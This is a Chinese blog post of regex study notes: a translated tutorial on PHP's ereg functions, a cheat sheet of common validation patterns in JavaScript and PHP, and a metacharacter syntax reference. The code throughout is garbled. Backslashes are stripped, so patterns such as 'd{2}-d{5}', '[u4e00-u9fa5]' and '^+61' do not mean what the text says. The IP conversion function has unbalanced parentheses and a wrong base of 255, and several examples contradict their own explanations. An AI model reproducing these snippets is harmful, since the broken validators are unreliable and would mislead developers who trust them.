学习笔记,与个人实践

PHP和正则表达式

[ 2008/02/06 02:17 | by pling ]
一个正则表达式是一个特定的格式化模式,可以用来找出一个字符串在另一个字符串中的使用情况。几个编程语言,包括Visual Basic,Perl,JavaScript和PHP都支持正则表达式,希望在这篇入门指导的结束,Mitchell(作者自己)可以让你在PHP程序中 能应用一些基本的正则表达式。正则表达式是在各种各样的程序语言中突出的古怪特征中的一种,但是由于它们看起来是很难的一个概念,所以很多开发者就把它们 放到了角落里,忘记了它们的存在。

让我们先来看看什么是正则表达式,为什么你要在PHP程序中用到它们。

什么是正则表达式?

你对从一个不错的老的基于控制的文本编辑器中分离出像BBEdit和notepad的程序,有什么看法呢?两个都支持文本输入,可以让你保存文本到文件中,但是现在的文本编辑器也支持其它功能,包括查找–代替工具,这让编辑一个文本文件相当容易。
     正则表达式也是相似的,只是更好一些。正则表达式可以被认为一个极其高级的查找-替换工具,让我们从痛苦中摆脱出来:不必再写定制的数据确认例子来检查电子邮件地址或者来确认电话号码的格式是正确的,如此等等。
     任何程序中最普通的函数之一就是数据有效性检查,PHP捆绑了一些文本检查函数,允许我们用正则表达式匹配一个字符串,确认有一个空格,有一个问号,等等。
     你不知道的可能是,正则表达式可以简单装备吗,当你掌握了一些正则表达式时(这个正则表达式可以用来告诉正则表达式引擎一个字符串中我们想要匹配的部分),你会自问为什么会把正则表达式扔到角落里这么久,^_^。
     PHP有两套函数,用来处理两种类型的正则表达式:Perl5兼容模式,和Posix标准兼容模式。在这篇文章中我们将看看ereg函数,用遵照 Posix标准的搜索表达式工作。虽然它们并没有Perl5模式那样强大,但是一种不错的学习正则表达式的方法。如果你对PHP支持的Perl5兼容正则 表达式感兴趣,可以到PHP.net网站找一些关于preg函数的细节。
     PHP有六个函数来处理正则表达式,它们都把一个正则表达式作为它们的第一个参数,列出如下:

ereg: 最常用的正则表达式函数, ereg 允许我们搜索跟一个正则表达式匹配的一个字符串.
ereg_replace: 允许我们搜索跟正则表达式匹配的一个字符串,并用新的字符串代替所有这个表达式出现的地方。
eregi: 和ereg几乎是一样效果,不过忽略大小写。
eregi_replace: 和ereg_replace有着一样的搜索-替换功能,不过忽略大小写.
split: 允许我们搜索和正则表达式匹配的字符串,并且以字符串集合的方式返回匹配结果.
spliti: split函数忽略大小写的版本.
为什么使用正则表达式?

       如果你不断地建立不同的函数来检查或者操作字符串的一部分,现在你可能要放弃所有的这些函数,取而代之的用正则表达式。如果你对下列的问题都答“是的”,那么你肯定要考虑使用正则表达式了:

你是否正在写一些定制的函数来检查表单数据(比如在电子信箱地址中的一个@,一个点)?
你是否写一些定制的函数,在一个字符串中循环每个字符,如果这个字符匹配了一个特定特征(比如它是大写的,或者它是一个空格),那么就替换它?
      除了是令人不舒服的字符串检查和操作方法,如果没有有效率地写代码,上述的两条也会使你的程序慢下来。你是否更倾向于用下面的代码检查一个电子信箱地址呢:

<?php
function validateEmail($email)
{
      $hasAtSymbol = strpos($email, "@");
      $hasDot = strpos($email, ".");
      if($hasAtSymbol && $hasDot)
         return true;
      else
         return false;
}
echo validateEmail("mitchell@devarticles.com");
?>
...
或者使用下面的代码:

<?php
function validateEmail($email)
{
    return ereg("^[a-zA-Z]+@[a-zA-Z]+.[a-zA-Z]+$", $email);
}
echo validateEmail("mitchell@devarticles.com");
?>
可以肯定的是,第一个函数比较容易,而且看起来结构也不错。但是如果我们用上面的下一个版本的email地址检查函数不是更容易吗?

    上面展示的第二个函数只用了正则表达式,包括了对ereg函数的一个调用。Ereg 函数返回true或者false,来声明它的字符串参数是否和正则表达式相匹配。

很多编程者避开正则表达式,只因为它们(在一些情况下)比其它的文本处理方法更慢。正则表达式可能慢的原因是因为它们涉及把字符串在内存中拷贝和粘贴,因 为正则表达式的每一个新的部分都对应匹配一个字符串。但是,从我对正则表达式的经验来说,除非你在文本中几百个行运行一个复杂的正则表达式,否则性能上的 缺陷都可以忽略不计,当把正则表达式作为输入数据检查工具时,也很少出现这种情况。

正则表达式语法
在你可以匹配一个字符串到正则表达式之前,你必须先建立正则表达式。开始的时候,正则表达式的语法有点古怪,表达式中的每一个短语代表某个类型的搜索特征。下列是一些最普通的正则表达式,也都对应着一个如何使用它的例子:

字符串头部
搜索一个字符串的头部,用^,例如

<?php echo ereg("^hello", "hello world!"); ?>
将返回 true, 但是

<?php echo ereg("^hello", "i say hello world"); ?>
将返回 false, 因为hello不在字符串”I say hello world”的头部。
字符串尾部

搜索字符串尾部,用$,例如:

<?php echo ereg("bye$", "goodbye"); ?>
将返回true, 但是

<?php echo ereg("bye$", "goodbye my friend"); ?>
将返回 false,因为bye不在字符串”goodbye my friend”的尾部.

任意的单个字符
搜索任意字符,用点(.),例如:

<?php echo ereg(".", "cat"); ?>
将返回true,但是

<?php echo ereg(".", ""); ?>
将返回false,因为我们的要搜索字符串没有包含字符。你可以用花括号随意告诉正则表达式引擎它要匹配多少个单个字符。如果我只想匹配5个字符,我可以这样用ereg:

<?php echo ereg(".{5}$", "12345"); ?>
上面的这段代码告诉正则表达式引擎当且仅当至少5个连续的字符出现字符串的尾部时返回true.我们也可以限制连续出现的字符的数目:

<?php echo ereg("a{1,3}$", "aaa"); ?>
在上面的例子里,我们已经告诉正则表达式引擎,我们的搜索字符串来匹配表达式,它在尾部必须有介于1和3个的”a”字符。

<?php echo ereg("a{1,3}$", "aaab"); ?>
上面的例子将不会返回true,虽然有三个”a”字符在搜索字符串里,但是它们不是在字符串的尾部。如果我们把结尾字符串匹配$从正则表达式中去掉,那么这个字符串是匹配的。
我们也可以告诉正则表达式引擎来匹配至少有确定数目的字符在一行,如果它们存在的,可以匹配更多。 我们可以这样做:

<?php echo ereg("a{3,}$", "aaaa"); ?>
零或多次重复字符
为了告诉正则表达式引擎一个字符可能存在,也可以重复,我们用*字符。这里的两个例子都将返回true.

<?php echo ereg("t*", "tom"); ?>
<?php echo ereg("t*", "fom"); ?>
即使第二个例子不包含”t”这个字符,但仍旧返回ture,因为*表示字符可以出现,但不是必须出现。事实上,任何普通的字符串模式都会使上面的ereg调用返回true,因为’t’字符是可选的.


一或多次重复字符
为了告诉正则表达式引擎一个字符必须存在,也可以重复不止一次,我们用+字符,像

<?php echo ereg("z+", "i like the zoo"); ?>
下面的例子也会返回true:

<?php echo ereg("z+", "i like the zzzzzzoo!"); ?>
零或一次重复字符
我们也可以告诉正则表达式引擎,一个字符必须是或者只存在一次,或者没有。我们用?字符来做这项工作,就像

<?php echo ereg("c?", "cats are fuzzy"); ?>
如果我们愿意,我们完全可以从上面的搜索字符串中删除’c’,这个表达式会仍旧返回true.’?’ 的意思是一个’c’可以出现在搜索字符串的任何地方,但不是必须的。

正则表达式语法 (续)
空格字符
为了匹配一个搜索字符串中的空格字符,我们用预定义Posix的类,[[:space]].方括号标明连续字符的相关性,”:space:”是实际要匹配 的类(在这种情形下,是任何空白字符)。空白包括tab字符,新行字符,空白字符。或者,如果搜索字符串必须包含只有一个空格,而不是一个tab或者新行 字符,你可以用一个空格字符(" ")。在大多数情况下,我倾向于使用":space:",因为这意味着我的意图不仅仅是单个空格字符,这点很容易被忽视。这里有一些Posix-标准预定 义类,
有一些我们可以作为正则表达式的部分的一些Posix-标准预定义类,包括[:alnum:], [:digit:], [:lower:]等等。 完整的列表可以在这里查看

我们可以像这样匹配单个空白字符:

<?php echo ereg("Mitchell[[:space:]]Harper", "Mitchell Harper"); ?>
我们也可以通过在表达式后用?字符来告诉正则表达式引擎匹配没有空白或者一个空白。

<?php echo ereg("Mitchell[[:space:]]?Harper", "MitchellHarper"); ?>
模式分组
相关的模式可以在方括号里分在一起。很容易用[a-z]和[A-Z]指定只有一个小写字母或者一列大写字母以搜索字符串的一部分存在。

<?php
// 要求从第一个到最后一个都是小写字母
echo ereg("^[a-z]+$", "johndoe"); // 返回true
?>
或者像

<?php
// 要求从第一个到最后一个都是大写字母
ereg("^[A-Z]+$", "JOHNDOE"); // 返回 true?
?>
我们也可以告诉正则表达式引擎,我们希望或者是小写字母,或者是大写字母。我们只要把[a-z]和[A-Z]模式结合在一起就可以做到。

<?php echo ereg("^[a-zA-Z]+$", "JohnDoe"); ?>
在上面的例子里,如果我们能匹配"John Doe",而不是"JohnDoe",将是非常有意义的。我们用下面的正则表达式来做这个:

^[a-zA-Z]+[[:space:]]{1}[a-zA-Z]+$
很容易搜索一个数字字符串

<?php echo ereg("^[0-9]+$", "12345"); ?>
词语分组
不仅仅搜索模式可以分组,我们也可以用圆括号把相关的搜索词语进行分组。

<?php echo ereg("^(John|Jane).+$", "John Doe"); ?>
在上面的例子中,我们有一个字符串头部字符,紧跟着"John"或者"Jane",至少有一个其它字符,然后一个字符串尾部字符。所以…

<?php echo ereg("^(John|Jane).+$", "Jane Doe"); ?>
...将也匹配我们的搜索模式

特殊字符的情形
因为一些字符要用在一个搜索模式的明确分组或者语法上,像在(John|Jane)中的圆括号,我们需要告诉正则表达式引擎来屏蔽这些字符,加工它们使之 成为被搜索字符串的一部分,而不是搜索表达式的一部分。我们所用的方法称为“字符转义”,涉及到将任何“专用符号”加上反斜杠。所以,例如,如果我想在我 的搜索中包含’|’,那么我就可以这样做

<?php echo ereg("^[a-zA-z]+|[a-zA-z]+$", "John|Jane"); ?>
这里只是少量的一些你要转义的字符,你必须转义^, $, (, ), ., [, |, *, ?, +,  and { 。
希望你现在对正则表达式实际上有多么强大有了一点点感觉了。现在让我们看两个用正则表达式来检查数据中一个字符串的例子。
正则表达式例子
例子1
让我们把第一个例子做的相当简单,检验一个标准的URL.一个标准的URL(没有端口号),有三个部分构成:

[协议]://[域名]

让我们从匹配URL的协议部分开始,并且让它只能用http或者ftp.我们可以用下面的正则表达式做到这点:

^(http|ftp)
^字符特指字符串的头部,利用圆括号把http和ftp围住,且用“或者”符号(|)将它们分开,我们告诉正则表达式引擎http和ftp两者之一必须在字符串的开头。

一个域名通常由www.somesite.com构成,但是可以随意选择要不要www部分。为了例子简单,我们只允许.com,.net,和.org的域名是在考虑之中的。我们最好这样对正则表达式中的域名部分表示如下:

(www.)?.+.(com|net|org)$
把所有的东西放在一起,我们的正则表达式就可以用作检查一个域名,如:

<?php
function isValidDomain($domainName)
{

return ereg("^(http|ftp)://(www.)?.+.(com|net|org)$", $domainName);
}
//真(true)
echo isValidDomain("http://www.somesite.com");
//真(true)
echo isValidDomain("ftp://somesite.com");
//假 (false)
echo isValidDomain("ftp://www.somesite.fr");
//假 (false)
echo isValidDomain("www.somesite.com");
?>
例子二
因为我居住在澳大利亚悉尼,让我们检查一个典型的澳大利亚国际电话号码。澳大利亚国际电话号码的格式如下:
+61x xxxx-xxxx
第一个x是区号,其它的都是电话号码。检查以'+61'开头且紧跟一个在2到9之间的区号的电话号码,我们用下面的正则表达式:

^+61[2-9][[:space:]]
注意,上面的搜索模式把'+'字符用''转义,以便于可以在搜索中包含,不至于被解释为一个正则表达式。[2-9]告诉正则表达式引擎我们需要包含一个2到9之间的数字。[[:space:]]类则告诉正则表达式期望在这里有一个空白。


这里是电话号码剩下的搜索模式:

[0-9]{4}-[0-9]{4}$
这里没有什么不寻常的地方,我们只是告诉正则表达式引擎电话号码可用的数字,它必须是4个数字的组合,跟着一个连接符,再跟着另一个4个数字的组合,然后一个字符串尾部字符。
把完整的正则表达式放在一起,放进一个函数,我们可以用代码来检查一些澳大利亚国际电话号码:

<?php
function isValidPhone($phoneNum)
{
echo ereg("^+61[2-9][[:space:]][0-9]{4}-[0-9]{4}$", $phoneNum);
}
// 真(true)
echo isValidPhone("+619 0000-0000");
// 假(false)
echo isValidPhone("+61 00000000");
//假( false)
echo isValidPhone("+611 00000000");
?>
总结
正则表达式用一些不适合书写和重复的代码来检查一个字符串。在最后的几页里,我们已经讲解了所有的Posix标准正则表达式的基础,包括字符,分组和PHP ereg函数。我们也知道了怎么用正则表达式来检查一些PHP中简单的字符串。

译者注释:本人英文不怎么好,可能一些地方有出入。本文中的字符类其实是我们所说的字符簇
经典正则表达式
正则表达式用于字符串处理,表单验证等场合,实用高效,但用到时总是不太把握,以致往往要上网查一番。我将一些常用的表达式收藏在这里,作备忘之用。本贴随时会更新。

匹配中文字符的正则表达式: [u4e00-u9fa5]

匹配双字节字符(包括汉字在内):[^x00-xff]

应用:计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)

String.prototype.len=function(){return this.replace([^x00-xff]/g,"aa").length;}

匹配空行的正则表达式:n[s| ]*r

匹配HTML标记的正则表达式:/<(.*)>.*</1>|<(.*) />/

匹配首尾空格的正则表达式:(^s*)|(s*$)

应用:javascript中没有像vbscript那样的trim函数,我们就可以利用这个表达式来实现,如下:

String.prototype.trim = function()
{
return this.replace(/(^s*)|(s*$)/g, "");
}

利用正则表达式分解和转换IP地址:

下面是利用正则表达式匹配IP地址,并将IP地址转换成对应数值的Javascript程序:

function IP2V(ip)
{
re=/(d+).(d+).(d+).(d+)/g //匹配IP地址的正则表达式
if(re.test(ip))
{
return RegExp.$1*Math.pow(255,3))+RegExp.$2*Math.pow(255,2))+RegExp.$3*255+RegExp.$4*1
}
else
{
throw new Error("Not a valid IP address!")
}
}

不过上面的程序如果不用正则表达式,而直接用split函数来分解可能更简单,程序如下:

var ip="10.100.20.168"
ip=ip.split(".")
alert("IP值是:"+(ip[0]*255*255*255+ip[1]*255*255+ip[2]*255+ip[3]*1))

匹配Email地址的正则表达式:w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)*

匹配网址URL的正则表达式:http://([w-]+.)+[w-]+(/[w- ./?%&=]*)?

利用正则表达式去除字串中重复的字符的算法程序:

var s="abacabefgeeii"
var s1=s.replace(/(.).*1/g,"$1")
var re=new RegExp("["+s1+"]","g")
var s2=s.replace(re,"")
alert(s1+s2) //结果为:abcefgi

我原来在CSDN上发贴寻求一个表达式来实现去除重复字符的方法,最终没有找到,这是我能想到的最简单的实现方法。思路是使用后向引用取出包括重复的字符,再以重复的字符建立第二个表达式,取到不重复的字符,两者串连。这个方法对于字符顺序有要求的字符串可能不适用。

得用正则表达式从URL地址中提取文件名的javascript程序,如下结果为page1

s="http://www.9499.net/page1.htm"
s=s.replace(/(.*/){0,}([^.]+).*/ig,"$2")
alert(s)

利用正则表达式限制网页表单里的文本框输入内容:

用正则表达式限制只能输入中文:onkeyup="value=value.replace(/[^u4E00-u9FA5]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^u4E00-u9FA5]/g,''))"

用正则表达式限制只能输入全角字符: onkeyup="value=value.replace(/[^uFF00-uFFFF]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^uFF00-uFFFF]/g,''))"

用正则表达式限制只能输入数字:onkeyup="value=value.replace(/[^d]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^d]/g,''))"

用正则表达式限制只能输入数字和英文:onkeyup="value=value.replace(/[W]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^d]/g,''))"

如何用正则表达式来表示中文

由于中文的ASCII码是有一定的范围的。所以你可以用下面的正则表达式来表示中文。

/^[chr(0xa1)-chr(0xff)]+$/

下面是一个使用的例子:

$str = "超越PHP";
if (preg_match("/^[".chr(0xa1)."-".chr(0xff)."]+$/", $str)) {
echo "这是一个纯中文字符串";
} else {
echo "这不是一个纯中文字串";
}

正则表达式
如果原来没有使用过正则表达式,那么可能对这个术语和概念会不太熟悉。不过,它们并不是您想象的那么新奇。

请回想一下在硬盘上是如何查找文件的。您肯定会使用 ? 和 * 字符来帮助查找您正寻找的文件。? 字符匹配文件名中的单个字符,而 * 则匹配一个或多个字符。一个如 'data?.dat' 的模式可以找到下述文件:

data1.dat

data2.dat

datax.dat

dataN.dat

如果使用 * 字符代替 ? 字符,则将扩大找到的文件数量。'data*.dat' 可以匹配下述所有文件名:

data.dat

data1.dat

data2.dat

data12.dat

datax.dat

dataXYZ.dat

尽管这种搜索文件的方法肯定很有用,但也十分有限。? 和 * 通配符的有限能力可以使你对正则表达式能做什么有一个概念,不过正则表达式的功能更强大,也更灵活。

--------------------------------------------------------------------------------
2
早期起源
正则表达式的“祖先”可以一直上溯至对人类神经系统如何工作的早期研究。Warren McCulloch 和 Walter Pitts 这两位神经生理学家研究出一种数学方式来描述这些神经网络。

1956 年, 一位叫 Stephen Kleene 的美国数学家在 McCulloch 和 Pitts 早期工作的基础上,发表了一篇标题为“神经网事件的表示法”的论文,引入了正则表达式的概念。正则表达式就是用来描述他称为“正则集的代数”的表达式,因 此采用“正则表达式”这个术语。

随后,发现可以将这一工作应用于使用Ken Thompson 的计算搜索算法的一些早期研究,Ken Thompson是Unix 的主要发明人。正则表达式的第一个实用应用程序就是 Unix 中的qed 编辑器。

如他们所说,剩下的就是众所周知的历史了。从那时起直至现在正则表达式都是基于文本的编辑器和搜索工具中的一个重要部分。

--------------------------------------------------------------------------------
3.
使用正则表达式
在典型的搜索和替换操作中,必须提供要查找的确切文字。这种技术对于静态文本中的简单搜索和替换任务可能足够了,但是由于它缺乏灵活性,因此在搜索动态文本时就有困难了,甚至是不可能的。

使用正则表达式,就可以:

测试字符串的某个模式。例如,可以对一个输入字符串进行测试,看在该字符串是否存在一个电话号码模式或一个信用卡号码模式。这称为数据有效性验证。
替换文本。可以在文档中使用一个正则表达式来标识特定文字,然后可以全部将其删除,或者替换为别的文字。
根据模式匹配从字符串中提取一个子字符串。可以用来在文本或输入字段中查找特定文字。
例如,如果需要搜索整个 web 站点来删除某些过时的材料并替换某些HTML 格式化标记,则可以使用正则表达式对每个文件进行测试,看在该文件中是否存在所要查找的材料或 HTML 格式化标记。用这个方法,就可以将受影响的文件范围缩小到包含要删除或更改的材料的那些文件。然后可以使用正则表达式来删除过时的材料,最后,可以再次使 用正则表达式来查找并替换那些需要替换的标记。

另一个说明正则表达式非常有用的示例是一种其字符串处理能力还不为人所知的语言。VBScript 是 Visual Basic 的一个子集,具有丰富的字符串处理功能。与 C 类似的 Visual Basic Scripting Edition 则没有这一能力。正则表达式给 Visual Basic Scripting Edition 的字符串处理能力带来了明显改善。不过,可能还是在 VBScript 中使用正则表达式的效率更高,它允许在单个表达式中执行多个字符串操作。

--------------------------------------------------------------------------------
正则表达式语法
一个正则表达式就是由普通字符(例如字符 a 到 z)以及特殊字符(称为元字符)组成的文字模式。该模式描述在查找文字主体时待匹配的一个或多个字符串。正则表达式作为一个模板,将某个字符模式与所搜索的字符串进行匹配。

这里有一些可能会遇到的正则表达式示例:

Visual Basic Scripting Edition VBScript 匹配
/^[ t]*$/ "^[ t]*$" 匹配一个空白行。
/d{2}-d{5}/ "d{2}-d{5}" 验证一个ID 号码是否由一个2位数字,一个连字符以及一个5位数字组成。
/<(.*)>.*</1>/ "<(.*)>.*</1>" 匹配一个 HTML 标记。


下表是元字符及其在正则表达式上下文中的行为的一个完整列表:

字符 描述
将下一个字符标记为一个特殊字符、或一个原义字符、或一个 后向引用、或一个八进制转义符。例如,'n' 匹配字符 "n"。'n' 匹配一个换行符。序列 '' 匹配 "" 而 "(" 则匹配 "("。
^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 'n' 或 'r' 之后的位置。
$ 匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 'n' 或 'r' 之前的位置。
* 匹配前面的子表达式零次或多次。例如,zo* 能匹配 "z" 以及 "zoo"。 * 等价于{0,}。
+ 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
? 匹配前面的子表达式零次或一次。例如,"do(es)?" 可以匹配 "do" 或 "does" 中的"do" 。? 等价于 {0,1}。
{n} n 是一个非负整数。匹配确定的 n 次。例如,'o{2}' 不能匹配 "Bob" 中的 'o',但是能匹配 "food" 中的两个 o。
{n,} n 是一个非负整数。至少匹配n 次。例如,'o{2,}' 不能匹配 "Bob" 中的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o{0,}' 则等价于 'o*'。
{n,m} m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。刘, "o{1,3}" 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。
? 当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如,对于字符串 "oooo",'o+?' 将匹配单个 "o",而 'o+' 将匹配所有 'o'。
. 匹配除 "n" 之外的任何单个字符。要匹配包括 'n' 在内的任何字符,请使用象 '[.n]' 的模式。
(pattern) 匹配pattern 并获取这一匹配。所获取的匹配可以从产生的 Matches 集合得到,在VBScript 中使用 SubMatches 集合,在Visual Basic Scripting Edition 中则使用 $0…$9 属性。要匹配圆括号字符,请使用 '(' 或 ')'。
(?:pattern) 匹配 pattern 但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。这在使用 "或" 字符 (|) 来组合一个模式的各个部分是很有用。例如, 'industr(?:y|ies) 就是一个比 'industry|industries' 更简略的表达式。
(?=pattern) 正向预查,在任何匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如, 'Windows (?=95|98|NT|2000)' 能匹配 "Windows 2000" 中的 "Windows" ,但不能匹配 "Windows 3.1" 中的 "Windows"。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。
(?!pattern) 负向预查,在任何不匹配Negative lookahead matches the search string at any point where a string not matching pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如'Windows (?!95|98|NT|2000)' 能匹配 "Windows 3.1" 中的 "Windows",但不能匹配 "Windows 2000" 中的 "Windows"。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始  
x|y 匹配 x 或 y。例如,'z|food' 能匹配 "z" 或 "food"。'(z|f)ood' 则匹配 "zood" 或 "food"。  
[xyz] 字符集合。匹配所包含的任意一个字符。例如, '[abc]' 可以匹配 "plain" 中的 'a'。  
[^xyz] 负值字符集合。匹配未包含的任意字符。例如, '[^abc]' 可以匹配 "plain" 中的'p'。  
[a-z] 字符范围。匹配指定范围内的任意字符。例如,'[a-z]' 可以匹配 'a' 到 'z' 范围内的任意小写字母字符。  
[^a-z] 负值字符范围。匹配任何不在指定范围内的任意字符。例如,'[^a-z]' 可以匹配任何不在 'a' 到 'z' 范围内的任意字符。  
b 匹配一个单词边界,也就是指单词和空格间的位置。例如, 'erb' 可以匹配"never" 中的 'er',但不能匹配 "verb" 中的 'er'。  
B 匹配非单词边界。'erB' 能匹配 "verb" 中的 'er',但不能匹配 "never" 中的 'er'。
cx 匹配由x指明的控制字符。例如, cM 匹配一个 Control-M 或回车符。 x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字符。  
d 匹配一个数字字符。等价于 [0-9]。  
D 匹配一个非数字字符。等价于 [^0-9]。  
f 匹配一个换页符。等价于 x0c 和 cL。
n 匹配一个换行符。等价于 x0a 和 cJ。
r 匹配一个回车符。等价于 x0d 和 cM。
s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ fnrtv]。
S 匹配任何非空白字符。等价于 [^ fnrtv]。
t 匹配一个制表符。等价于 x09 和 cI。
v 匹配一个垂直制表符。等价于 x0b 和 cK。
w 匹配包括下划线的任何单词字符。等价于'[A-Za-z0-9_]'。  
W 匹配任何非单词字符。等价于 '[^A-Za-z0-9_]'。  
xn 匹配 n,其中 n 为十六进制转义值。十六进制转义值必须为确定的两个数字长。例如, 'x41' 匹配 "A"。'x041' 则等价于 'x04' & "1"。正则表达式中可以使用 ASCII 编码。.
num 匹配 num,其中 num 是一个正整数。对所获取的匹配的引用。例如,'(.)1' 匹配两个连续的相同字符。  
n 标识一个八进制转义值或一个后向引用。如果 n 之前至少 n 个获取的子表达式,则 n 为后向引用。否则,如果 n 为八进制数字 (0-7),则 n 为一个八进制转义值。
nm 标识一个八进制转义值或一个后向引用。如果 nm 之前至少有is preceded by at least nm 个获取得子表达式,则 nm 为后向引用。如果 nm 之前至少有 n 个获取,则 n 为一个后跟文字 m 的后向引用。如果前面的条件都不满足,若  n 和 m 均为八进制数字 (0-7),则 nm 将匹配八进制转义值 nm。
nml 如果 n 为八进制数字 (0-3),且 m 和 l 均为八进制数字 (0-7),则匹配八进制转义值 nml。
un 匹配 n,其中 n 是一个用四个十六进制数字表示的 Unicode 字符。例如, u00A9 匹配版权符号 (?)。
4.
建立正则表达式
构造正则表达式的方法和创建数学表达式的方法一样。也就是用多种元字符与操作符将小的表达式结合在一起来创建更大的表达式。

可以通过在一对分隔符之间放入表达式模式的各种组件来构造一个正则表达式。对 Visual Basic Scripting Edition 而言,分隔符为一对正斜杠 (/) 字符。例如:

/expression/
对 VBScript 而言,则采用一对引号 ("") 来确定正则表达式的边界。例如:

"expression"
在上面所示的两个示例中,正则表达式模式 (expression) 均存储在RegExp 对象的Pattern 属性中。

正则表达式的组件可以是单个的字符、字符集合、字符范围、字符间的选择或者所有这些组件的任意组合。

--------------------------------------------------------------------------------
5.
优先权顺序
在构造正则表达式之后,就可以象数学表达式一样来求值,也就是说,可以从左至右并按照一个优先权顺序来求值。

下表从最高优先级到最低优先级列出各种正则表达式操作符的优先权顺序:

操作符 描述
转义符
(), (?, (?=), [] 圆括号和方括号
*, +, ?, {n}, {n,}, {n,m} 限定符
^, $, anymetacharacter 位置和顺序
| “或”操作

--------------------------------------------------------------------------------
6.
普通字符
普通字符由所有那些未显式指定为元字符的打印和非打印字符组成。这包括所有的大写和小写字母字符,所有数字,所有标点符号以及一些符号。

最简单的正则表达式是一个单独的普通字符,可以匹配所搜索字符串中的该字符本身。例如,单字符模式 'A' 可以匹配所搜索字符串中任何位置出现的字母 'A'。这里有一些单字符正则表达式模式的示例:

/a/
/7/
/M/
等价的 VBScript 单字符正则表达式为:

"a"
"7"
"M"
可以将多个单字符组合在一起得到一个较大的表达式。例如,下面的 Visual Basic Scripting Edition 正则表达式不是别的,就是通过组合单字符表达式 'a'、'7'以及 'M' 所创建出来的一个表达式。

/a7M/
等价的 VBScript 表达式为:

"a7M"
请注意这里没有连接操作符。所需要做的就是将一个字符放在了另一个字符后面。

--------------------------------------------------------------------------------
特殊字符
有不少元字符在试图对其进行匹配时需要进行特殊的处理。要匹配这些特殊字符,必须首先将这些字符转义,也就是在前面使用一个反斜杠 ()。下表给出了这些特殊字符及其含义:

特殊字符 说明
$ 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 'n' 或 'r'。要匹配 $ 字符本身,请使用 $。
( ) 标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 ( 和 )。
* 匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 *。
+ 匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 +。
. 匹配除换行符 n之外的任何单字符。要匹配 .,请使用 。
[  标记一个中括号表达式的开始。要匹配 [,请使用 [。  
? 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 ?。
将下一个字符标记为或特殊字符、或原义字符、或后向引用、或八进制转义符。例如, 'n' 匹配字符 'n'。'n' 匹配换行符。序列 '' 匹配 "",而 '(' 则匹配 "("。
^ 匹配输入字符串的开始位置,除非在方括号表达式中使用,此时它表示不接受该字符集合。要匹配 ^ 字符本身,请使用 ^。
{ 标记限定符表达式的开始。要匹配 {,请使用 {。
| 指明两项之间的一个选择。要匹配 |,请使用 |。

--------------------------------------------------------------------------------
7.
非打印字符
有不少很有用的非打印字符,偶尔必须使用。下表显示了用来表示这些非打印字符的转义序列:

字符 含义
cx 匹配由x指明的控制字符。例如, cM 匹配一个 Control-M 或回车符。 x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字符。
f 匹配一个换页符。等价于 x0c 和 cL。
n 匹配一个换行符。等价于 x0a 和 cJ。
r 匹配一个回车符。等价于 x0d 和 cM。
s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ fnrtv]。
S 匹配任何非空白字符。等价于 [^ fnrtv]。
t 匹配一个制表符。等价于 x09 和 cI。
v 匹配一个垂直制表符。等价于 x0b 和 cK。

--------------------------------------------------------------------------------
8.
字符匹配
句点 (.) 匹配一个字符串中任何单个的打印或非打印字符,除了换行符 (n) 之外。下面的 Visual Basic Scripting Edition 正则表达式可以匹配 'aac'、'abc'、'acc'、'adc'如此等等,同样也可以匹配 'a1c'、'a2c'、a-c'以及 a#c':

/a.c/
等价的 VBScript 正则表达式为:

"a.c"
如果试图匹配一个包含文件名的字符串,其中句点 (.) 是输入字符串的一部分,则可以在正则表达式中的句点前面加上一个反斜杠 () 字符来实现这一要求。举例来说,下面的 Visual Basic Scripting Edition 正则表达式就能匹配 'filename.ext':

/filename.ext/
对 VBScript 而言,等价的表达式如下所示:

"filename.ext"
这些表达式仍然是相当有限的。它们只允许匹配任何单字符。很多情况下,对从列表中匹配特殊字符十分有用。例如,如果输入文字中包含用数字表示为Chapter 1, Chapter 2诸如此类的章节标题,你可能需要找到这些章节标题。

括号表达式
可以在一个方括号 ([ 和 ]) 中放入一个或多个单字符,来创建一个待匹配的列表。如果字符被放入括号中括起来,则该列表称为括号表达式。括号内和其他任何地方一样,普通字符代表其本 身,也就是说,它们匹配输入文字中出现的一处自己。大多数特殊字符在位于括号表达式中时都将失去其含义。这里有一些例外:

